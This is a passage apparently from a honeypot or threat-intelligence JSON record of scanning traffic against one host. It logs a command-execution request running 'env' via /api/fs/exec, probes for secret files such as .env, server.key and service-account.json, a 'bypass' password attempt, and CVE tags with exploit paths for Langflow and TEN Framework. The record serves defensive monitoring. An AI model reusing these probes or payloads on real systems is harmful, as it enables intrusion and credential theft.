loops=1\",\"cf-connecting-ip\":\"34.12.197.92\",\"cf-ipcountry\":\"NL\",\"cf-ray\":\"a4a24db86b60b8c7-AMS\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"27\",\"content-type\":\"application/json\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)\",\"x-forwarded-for\":\"34.12.197.92\",\"x-forwarded-proto\":\"https\"}","body":"{\"command\":\"env\",\"args\":[]}","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/fs/exec","summary":"","payload_hex":"504f5354202f6170692f66732f6578656320485454502f312e310d0a782d666f727761726465642d666f723a2033342e31322e3139372e39320d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b2047726f6b426f742f312e303b202b68747470733a2f2f782e61692f290d0a636f6e74656e742d747970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a63662d7261793a20613461323464623836623630623863372d414d530d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e31322e3139372e39320d0a43462d4950436f756e7472793a204e4c0d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a2032370d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a7b22636f6d6d616e64223a22656e76222c2261726773223a5b5d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)","ja3":"67560f98d68783bd640246df3052c151","session":"bd55f33c-f920-44f1-a970-02b361312d97","seq":19,"duration_ms":4815,"bytes_in":12011,"bytes_out":1482}],"http_methods":[{"method":"GET","count":171},{"method":"POST","count":19},{"method":"DELETE","count":2}],"distinct_ports_total":1,"top_paths":[{"path":"/form/","count":2,"ports":1},{"path":"/webhook-test/","count":2,"ports":1},{"path":"/server.key","count":1,"ports":1},{"path":"/keys/service-account.json","count":1,"ports":1},{"path":"/portal/.env","count":1,"ports":1},{"path":"/read-document","count":1,"ports":1},{"path":"/key.pem","count":1,"ports":1},{"path":"/graphql","count":1,"ports":1},{"path":"/sa.json","count":1,"ports":1},{"path":"/ml/.env","count":1,"ports":1},{"path":"/.bashrc","count":1,"ports":1},{"path":"/core/.env","count":1,"ports":1},{"path":"/","count":1,"ports":1},{"path":"/public/.env","count":1,"ports":1},{"path":"/samconfig.toml","count":1,"ports":1}],"distinct_paths_total":190,"top_snis":[{"value":"site.princhub.com","count":192}],"top_hosts":[{"value":"site.princhub.com","count":192}],"top_alpns":[{"value":"h2, http/1.1","count":192}],"banners":[],"credentials":[{"username":"","password":"bypass","count":1}],"header_profile":{"signature":["Accept-Encoding","Cdn-Loop","Cf-Connecting-Ip","Cf-Ipcountry","Cf-Ray","Cf-Visitor","Connection","Content-Length","Content-Type","Host","User-Agent","X-Forwarded-For","X-Forwarded-Proto"],"representative":[{"name":"Accept-Encoding","value":"gzip, br","notable":false},{"name":"Cdn-Loop","value":"cloudflare; loops=1","notable":false},{"name":"Cf-Connecting-Ip","value":"34.12.197.92","notable":false},{"name":"Cf-Ipcountry","value":"NL","notable":false},{"name":"Cf-Ray","value":"a4a24dc95f29b8c7-AMS","notable":false},{"name":"Cf-Visitor","value":"{\"scheme\":\"https\"}","notable":false},{"name":"Connection","value":"Keep-Alive","notable":false},{"name":"Content-Length","value":"52","notable":false},{"name":"Content-Type","value":"application/json","notable":true},{"name":"Host","value":"site.princhub.com","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)","notable":false},{"name":"X-Forwarded-For","value":"34.12.197.92","notable":true},{"name":"X-Forwarded-Proto","value":"https","notable":true}],"distinct_sets":1,"events_with_headers":10},"tags":[{"tag_id":"CVE-2026-33017","tag_type":"cve","title":"Langflow < 1.9.0 - Remote Code Execution","severity":"CRITICAL","actively_exploited":true,"match_field":"url_path","matched_pattern":"/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow","reference_urls":[],"kev_date_added":"2026-03-25"},{"tag_id":"CVE-2026-85688","tag_type":"cve","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content","reference_urls":["https://www.vulncheck.com/advisories/ten-framework-0.11.71-unauthenticated-file-read-write-via-tman-designer","https://github.com/TEN-framework/ten-framework/issues/2187","https://github.com/TEN-framework/ten-framework/blob/0.11.71/core/src/ten_manager/src/designer/file_content/mod.rs","https://nvd.nist.gov/vuln/detail/CVE-2026-85688"],"kev_date_added":null},{"tag_id":"CVE-2026-23536","tag_type":"cve","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document","reference_urls":["https://access.redhat.com/security/cve/CVE-2026-23536","https://bugzilla.redhat.com/show_bug.cgi?id=2429302","https://github.com/feast-dev/feast","https://nvd.nist.gov/vuln/detail/CVE-2026-23536"],"kev_date_added":null},{"tag_id":"CVE-2024-56159","tag_type":"cve","title":"Astro - Information Disclosure","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/pages/index.astro.mjs.map","reference_urls":["https://github.com/withastro/astro/security/advisories/GHSA-49w6-73cw-chjr","https://nvd.nist.gov/vuln/detail/CVE-2024-56159"],"kev_date_added":null}],"data_as_of":"2026-10-16T06:40:55.611314+00:00"}